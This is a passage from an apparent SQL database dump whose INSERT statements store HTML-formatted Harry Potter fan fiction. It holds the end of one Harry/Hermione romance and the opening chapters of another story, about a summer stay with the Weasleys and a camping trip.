least&#8230; I shouldn&#8217;t be&#8230; right? Right??</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He watched her sleep; his head spinning with emotions,\nuntil she abruptly gave a heavy sigh and opened her eyes. She smiled sweetly as\nsoon as she noticed he was looking at her. &#8220;Hi,&#8221; she softly greeted. Harry\ndidn&#8217;t know if she noticed he had been staring at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey,&#8221; he whispered back. He smiled along with her. He didn&#8217;t\nknow what made him do it but he blurted out, &#8220;You talk in your sleep&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do I?&#8221; she said, slightly embarrassed, but overall\nnonchalantly as if Harry just told her she had received a hundred percent on\ntheir last test. &#8220;What did I say?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t frost the pie,&#8221; he replied, deciding to leave out\nthe fact she said his name. Perhaps he just imagined it&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione giggled, &#8220;Actually it was pumpkin pie.&#8221; Then she\npulled back her hair and with a final sigh turned abruptly stern. &#8220;Did you\nfinish your essay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just a couple more line left,&#8221; he replied. She stared\ninto his eyes, her own honey brown looking blurry and full of affection. He\ngulped, wondering if she knew he was looking at every motion she made.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, can I tell you something?&#8221; She had put the look of\nconcern Harry often saw when he was injured or any time she was worried&#8230; about <i>him</i>.\nHe smiled as so to tell her she could. &#8220;Harry, I&#8212;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">Just then Ron came down the stairway, in his pajamas, and\nexasperatedly asked them, &#8220;Have you two just been lying there making dreamy\neyes at each other?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Both Harry and Hermione blushed furiously and denied any\nof it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron! Don&#8217;t be a prat!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ronald Weasley, we were doing no such thing!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He didn&#8217;t believe them at all. &#8220;Uh-huh. Then why are you two\nlooking flushed?&#8221; He was answered with silence. &#8220;You two are either so thick\nbecause you&#8217;re both in denial or that you&#8217;re just hiding it from me; or\nyourselves even. I reckon it&#8217;s the latter. Or perhaps both.&#8221; He shook his head\ndisapprovingly and quietly went back upstairs, hiding a triumphant grin from\nhis two best friends, leaving them gapping at his back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230; did he just turn that around on us?&#8221; Harry asked in\ndisbelief.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8230; I don&#8217;t know&#8230;&#8221; Hermione frowned. Not absorbing what\nRon just said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They turned away from each other in awkward silence.\nMinutes passed by and the stillness was broken by both of them&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, I&#8212;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8212;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, you go first&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No&#8230;you&#8212;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, please. Don&#8217;t be courteous for once. It&#8217;s just me,\nyour friend, Hermione Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah&#8230;&#8221; He paused. Friend. It didn&#8217;t seem to be enough. He\ntook a deep breath, &#8220;Well&#8230; here it goes. I don&#8217;t know why I never took time to\ntell you but, you&#8217;re a beautiful girl. The most beautiful person I know. I\nhaven&#8217;t ever told you how much I&#8217;ve appreciated everything you are to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh Harry&#8230;&#8221; her face burned as she reddened. &#8220;Well&#8230; I&#8230; In\nmy dream. I don&#8217;t know what to say but well&#8230; my dream wasn&#8217;t just about pumpkin\npie&#8230; there was also you&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\nTWELVE YEARS LATER\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;But whhhhy?&#8221; twenty-eight year old Harry Potter pretended\nto whine at his wife.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Stop it. And I swear if you bring up that dream I had\nabout you again&#8212;!&#8221; Hermione said, waving a knife threateningly at him. Harry\nflinched but a mischievous grin stayed on his face. &#8220;You can&#8217;t have any of the\npie! It&#8217;s for Ginny and her boyfriend&#8212;&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;Oh, I wasn&#8217;t thinking of <i>your</i> dream. I was\nthinking of <i>my</i> pumpkin pie dream&#8230;&#8221; his voice carried a juvenile tone in\nthe words &#8216;my pumpkin pie dream&#8217; and she knew that he was thinking of something\nnaughty. &#8220;Besides, I make better pie than you anyway.&#8221; Hermione gave a mock\nindignant look and slapped his arm. &#8220;Ow! Hey! That actually hurt!&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&#8220;You deserved it,&#8221; she told him sternly. She put down her\nknife and shook her head. Harry lean in, wrapping his arms around her waist,\nand started to whisper his dream. She melted unto him and their lips met. He\nled her out of the kitchen.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">A gasp was heard from the living room and Hermione\nshouted, &#8220;Oh wait! The pie!&#8221; Running back and putting the pie into the oven.\nHarry grinned and turned. He was very glad, one, that Ron and Sirius had taken\ntheir daughter Elizabeth and, two, Hermione would be coming to join him very\nsoon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">End.</p>\n\n\n\n\n\n\n'),
	(41, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Disclaimer:&nbsp;&nbsp;&nbsp; Alright\nall the Harry Potter characters belong to J.K. Rowlings,\nexcept for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,,\nLeelee, Kai, Finley and Orvin.&nbsp; Those are\nmine. So please don&#8217;t sue me because I don&#8217;t have anything&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 1&#8212;Changes</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt"><i style="mso-bidi-font-style:\nnormal">The moonlight shone through a single\nwindow giving the room a soft and gentle glow, Hearing a door open and then\nclose he turned.&nbsp; A woman stood so very\nstill next to the door he could only see her eyes and they seemed full of\napprehension. Hearing her sigh she then started coming towards him she stopped,\nstanding directly in front of him.&nbsp; He\nseemed lost for words, as she gently lifted the back of her hand touching his\ncheek tenderly. He quickly covered her hand with his turning it slightly,\npressing a small kiss to the palm of her hand.&nbsp;\nWhile staring intently into her eyes he stepped closer to her, bending\nslightly touching his lips to hers&#8212;</i>BOOM!<i style="mso-bidi-font-style:normal"> </i>CRASH! Tinkle.&nbsp; Harry&#8217;s eyes opened and glared in the\ndirection of the noise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;His eyes adjusted to the morning light. Harry\nlooked around the room remembering where he was, oh yes Ron&#8217;s bedroom. He had\nbeen staying with Ron and his family for the past week.&nbsp; Fred and George had waken him up the same way\nevery morning that week, those experiments in their room are going to end up\ndriving him insane one of these days.&nbsp;\nHarry saw Ron sit and stretch his arms up.&nbsp; &#8220;Ron, would you mind terribly if I kill your\nbrothers.&#8221; He said sleepily also rising to a sitting position.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nyawning largely replied &#8220;Not at all, in fact I&#8217;ll help you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">As\nRon stood up Harry leaned back on the bed sighing. <i style="mso-bidi-font-style:\nnormal">The one dream I have that isn&#8217;t a nightmare and I wake up at the best\npart</i>. He thought to himself while shaking his head.&nbsp; Finally deciding that it would do no good to\ntalk to Fred and George about being quieter in the morning, he decided to get\nup.&nbsp; After dressing, he and Ron went down\nthe stairs for breakfast.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Both\nof them walked into the kitchen to find Fred and George already seated at the\ntable while Mrs. Weasley was finishing up cooking their breakfast.&nbsp; Ron looked around the table to find his\nsister and father was not there.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Where&#8217;s\nGinny?&#8221; Ron asked while grabbing a piece of melon from the center of the table.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Mrs.\nWeasley handed a plate of food to each of the boys, &#8220;your sister went with your\nfather to pick up Hermione, and as soon as they get back, we will be leaving\nfor the lake. So, I hope you have everything ready.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Why\ndidn&#8217;t he ask us if we wanted to go?&#8221; Ron asked while stuffing his mouth full\nof cantaloupe. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well,&#8221;\nMrs. Weasley said. &#8220;You both looked so peaceful asleep this morning your father\ndidn&#8217;t want to wake you.&#8221; She looked over at Harry who had sat down in a chair,\n&#8220;Did you have any nightmares last night?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Actually,\nI didn&#8217;t. I had a pretty good dream.&#8221; He sighed. &#8220;But Fred and George woke me\nat the best part.&#8221; He turned and glared jokingly at Fred and George.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;We\naim to please,&#8221; Fred replied grinning. Looking up at his mother he saw her\nexpression was none to pleasing, his grin faded.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nseemed surprised with Harry not having a nightmare. &#8220;Let&#8217;s hope this is a\ncontinuing phase of dreams for you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\nhope so too.&#8221; Harry said with a smile, knowing that for the first time in his\nlife he had finally gotten a decent night&#8217;s sleep. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nlooked at his mother who sat down to eat her breakfast, &#8220;When will Dad be\nback?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Not\nsure, he just left a few moments before you came down for breakfast,&#8221; She\nstopped smiling and her lips formed a line, &#8220;He wanted to test out the new\nvehicle that he enchanted before we headed out to the lake.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Both\nHarry and Ron knew that Mrs. Weasley didn&#8217;t really like it when her husband\nenchanted muggle vehicles. She never really liked riding in them either, but\nshe was able to put up with it if she loved him enough.&nbsp; And she did.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">As\nHarry tore into his piece of ham he thought about the lake, this was going to\nbe fun.&nbsp; He had never gone camping\nbefore, so this would be a first. A first of many great\nthings that the year would bring. Or at least he hoped so.&nbsp; He looked at Fred and George they seemed to\nbe plotting something for their last year at school. They intended to go out\nwith a bang. Harry shook his head back and forth wondering what they were\nplanning.&nbsp; He hoped that he even got the\nchance to graduate next year.&nbsp;&nbsp; He\nthought about the fifth year and how nothing horrible had happed to him, but\nthat was only a matter of time. But when would that time be? Would it be this\nyear, or next year? Possibly even five years from now?</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ndon&#8217;t think the plate is all that appetizing Harry.&#8221; Ron said disturbing\nHarry&#8217;s thoughts.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh&#8212;&#8221;\nHarry snapped out of the daze and realized he had his fork set against the\nwhite plate as if he were going to pick it up and shove it into his mouth. He\nlooked up at Ron with a smirk.&nbsp; &#8220;Sorry I\nwas just thinking.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\ncould see that, what about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It&#8217;s&#8212;not\nimportant, why don&#8217;t we go wait out side for Hermione and your sister.&#8221; He and\nRon stood from the table starting for the screen door.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; Fred and George ran out after them leaving\ntheir mother to finish her breakfast and cleanup by herself. Mrs. Weasley shook\nher head back and forth, she would give them something\nto do all right.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; &#8220;As long as you&#8217;re out there why don&#8217;t you degnome the garden.&#8221; She yelled at them through the screen\ndoor.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Without\nthe usual grumbling and complaining the boys went straight to work on getting\nall the gnomes out of the garden, launching them quite a distance away. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;&#8220;Ha! That one is going to have one helluva time in trying to get back into this garden,&#8221; Ron\nput his hand up to shield his eyes from the sun. &#8220;Did you see how far I threw\nit?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nnodded and tried to pick one up; he managed to toss it far, but not nearly as\nfar as Ron had. After about a half hour the garden was completely gnome free.\nHearing a vehicle approaching, the boys turned as the car landed near the\ngarage.&nbsp; They could see Hermione and\nGinny in the back seat having an animated conversation.&nbsp; Ginny opened the car door and stepped out, she was blocking her friend from view still talking to\nher. After a few minutes in what seemed like slow motion, Hermione stood.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">All\nfour boys jaws seemed to drop at the same time as they saw that their once\nlittle girl of a friend was no little girl any more. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;Noticing that her choice in wardrobe had\nchanged as well, her tank top only came down to her midriff where they could\nsee her belly button, <i style="mso-bidi-font-style:normal">and what a sexy\nbelly button it was too</i> Harry thought.&nbsp;\nHe immediately shook his head to get rid of that thought; he should not\nbe thinking those things about his best friend. Her shorts were hemmed rather\nshort he couldn&#8217;t help his eyes from following her entire body, down her now\nlong legs to her cute little satrapy flat sandals that looked like were made of\nsuede. He averted his eyes when he realized what he was doing. <i style="mso-bidi-font-style:normal">Stop that!</i> Harry said to himself. He\nlooked over at Fred and George who were both gawking at his friend as well.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Well\nwould you look at that.&#8221; George said almost breathlessly.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Look\nat what?&#8221; Ron appeared as if he hadn&#8217;t noticed her, he was more shocked about\nher change in wardrobe rather than the generous figure she now had\nacquired.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Hermione\nis one hot&#8212;&#8221; Fred was about to say something crude when he was interrupted.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Fred!&#8221;\nRon yelled, &#8220;Don&#8217;t talk about her like that. She&#8217;s not hot, it&#8217;s just\nHermione.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Are\nyou telling me you don&#8217;t find that young lady attractive?&#8221; George asked\ncandidly. &#8220;Cause if you don&#8217;t, you are seriously a few ants short of a log if\nyou know what I mean.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nwatched his friends argue and he knew that Ron had to be lying because; even he\nhimself was finding her strongly alluring at this moment.&nbsp; He would try to shake the thoughts of her\nfrom his head. <i style="mso-bidi-font-style:normal">No this is your friend,\nfriends don&#8217;t think of each other like that.</i> He kept saying over and over\nin his head.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp; All four of them watched her bend and try to\npull her trunk from the back of the car. &#8220;I think she needs my help.&#8221; George\nsaid staring at her back end.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Fred\nand George both looked at each other glaring, knowing what each other was\nthinking.&nbsp; Without warning, the both of\nthem took off running towards the car tying to pass each other up so that one\nof them would get to Hermione first.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;What\nis with them, it&#8217;s just Hermione?&#8221; Ron said in confusion.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nshrugged as if he didn&#8217;t know what Fred and George were thinking at all.&nbsp; He watched as Fred and George reached the car\ncompletely out of breath bending and gasping for air as if they had just run a\nmarathon.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Fred\nand George were leaning up against the car smiling largely; their smile seemed\nto reach from ear to ear, &#8220;Hallo Hermione.&#8221; They both said in unison, &#8220;would\nyou like some help with your things?&#8221; They said at the same time again, and\nturned to glare directly at each other.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nsmiled politely, &#8220;Fred, George.&#8221; She gave them a nod and added. &#8220;Sure if you\nwant too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">As\nsoon as Fred and George stopped arguing over who was going to take Hermione&#8217;s\ntrunk, finding it very odd she turned to Ginny and leaned closer to her ear.\n&#8220;Ginny why are you&#8217;re brothers acting so strange?&#8221; She whispered.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ginny\nshrugged and turned slightly to see her brothers trying to carry the trunk,\nsilently laughing to herself knowing how her brothers act when they&#8217;ve\ndeveloped a crush on someone. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\njust dismissed it; she and Ginny started walking towards the house where they\nsaw Ron and Harry waiting by the screen door.&nbsp;\nThe boys were casually leaning up against the house. Harry&#8217;s arms were\nfolded across his chest; she noticed that there was some muscle tone to his\narms. Then she remembered something in her letters from Harry that he had been\ngoing to Fitness World with Dudley and that he had worked there most of the summer, so\nit was natural that he would want to bulk up a bit.&nbsp; God he looks good, she thought to\nherself.&nbsp; She sighed quietly to herself\nknowing that why should she waste her emotions on him for another year, he\nwould never like her more then a friend. That&#8217;s why she decided to become his\nfriend in the first place; at least she would be able to be next to him. That\nwas better than nothing, or was it?&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">She\nsmiled as she walked up to them and they smiled back she reached for both Ron\nand Harry giving them a group hug. &#8220;It&#8217;s good to see you guys, how&#8217;s your\nsummer been?&#8221; She looked between them.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;It&#8217;s\nalright.&#8221; Harry said realizing that she hadn&#8217;t released them yet. He could feel\nher hip right up against his thigh. He looked down briefly feeling a sudden\nrush come over him. What was the matter with him, this was his friend. He then\nlifted his eyes to find Hermione looking between him and Ron. He was relieved\nthat she didn&#8217;t catch him letting his eyes wander about her.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Hermione\nlooked up at both of them. &#8220;Both of you grew over the summer, you&#8217;re both twice\nas tall then I remember.&nbsp; Boy this is\nstrange I&#8217;m used to looking at you two straight on and now I have to look up.&#8221;\nShe let go of them and stepped back.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nwas nodding knowing that he did grow, he was now a\nfull six foot two. He then looked over at Harry who was shorter than him but\nnot much. Five\n eleven is a tall height, he\nwas sure that by the time sixth year was over that Harry would be at least six\nfoot. But who knows. Ron looked down at Hermione. &#8220;You seemed to have had a\ngrowth spurt of your own young lady.&#8221; He raised an eyebrow.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Knowing\nexactly what Ron was talking about Hermione could feel the redness flushing to\nher cheeks. &#8220;Uh&#8212;I think I better let your mum know that I&#8217;m here.&#8221; She quickly\nbrushed past Ron and Harry seeming to dart into the house extremely fast.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\ngave Ron an odd look. &#8220;What did you say that for?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\njust wanted to see what her reaction would be if one of us mentioned the fact\nthat she was no longer a child. And that we all noticed her change.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nshook his head, &#8220;that was a little mean Ron; she can&#8217;t help the way she looks.&#8221;\n<i style="mso-bidi-font-style:normal">And she&#8217;s got a lot to be proud of.</i>\nHe said to himself. He sighed helplessly. <i style="mso-bidi-font-style:normal">Stop\nthinking that!! </i>He demanded himself.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;True,\nbut she could cover herself up a bit.&#8221; Ron said annoyed.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Ron\nit&#8217;s summer, I would walk around in my underwear if I could. So just let her\nalone about her sudden wardrobe change alright, I&#8217;m sure by the time autumn\nrolls around she&#8217;ll be wearing pants and long sleeve shirts.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;I\njust don&#8217;t want to have to protect her all the time from eyes that tend to\nwander where they shouldn&#8217;t.&nbsp; Like yours did.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Harry\nshocked stepped back a bit. &#8220;W&#8212;what!?&#8221; He was trying\nnot to feel guilty about that.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nsmirked &#8220;I saw you looking at her, hey I did too.&nbsp; But it was so obvious that you did. You need\nto take smaller looks so they are less noticeable. Any guy would be foolish not\nto take a look or two.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;We\nshould go inside also, I&#8217;m sure we&#8217;re leaving for the lake pretty soon.&#8221; Harry\nreplied trying to change the subject, and he quickly opened the screen door and\nstepped inside.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">Ron\nshook his head back and forth as he followed after Harry, he could hear George\nand Fred still trying to carry that trunk. As they panted trying to get it\ninside the house, Ron laughed at them through the screen door. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Hey\nyou guys wanted to carry her stuff,&#8221; Ron chuckled.</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&#8220;Oh\nsod off Ron.&#8221; Fred said as him and George heaved the heavy trunk into the\nhouse. </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">====</p>\n\n<p class="MsoNormal">&nbsp;&nbsp; More to come people\nstay tuned for chapter 2 Destiny Lake. Please Read and Review, thanks Ryoko </p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(41, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer :&nbsp; Alright all\nthe Harry Potter characters belong to J.K. Rowlings, except for the plot, Zara,\nJewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and\nOrvin.&nbsp; Those are mine. So please don&#8217;t\nsue me because I don&#8217;t have anything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 2&#8212; Destiny Lake</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\ncar flew through light blue sky at top speed when finally it slowing down to\nland on a nice gravel spot at Destiny Lake. Mr. Weasley stepped from the car\ntaking a deep breath, &#8220;yes this is going to be a good day.&#8221; He smiled and\nturned to see everyone helping to carry food, tents, and sleeping bags to the\ncamping area.&nbsp; Around the small fire pit\nthere were four large logs where you could sit on them, or lean up against\nthem.&nbsp; You could see the lake off in the\ndistance as the sun rays sparkled upon the water&#8217;s surface. Several large\nboulders stood in the middle of the lake where the water was the deepest.&nbsp; It looked like a grand diving area.&nbsp; Without a moment of thought Fred and George\nstripped down to their swim trunks and started running for the lake </p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:9.0pt">The\ntwo of them jumped into the water, soon 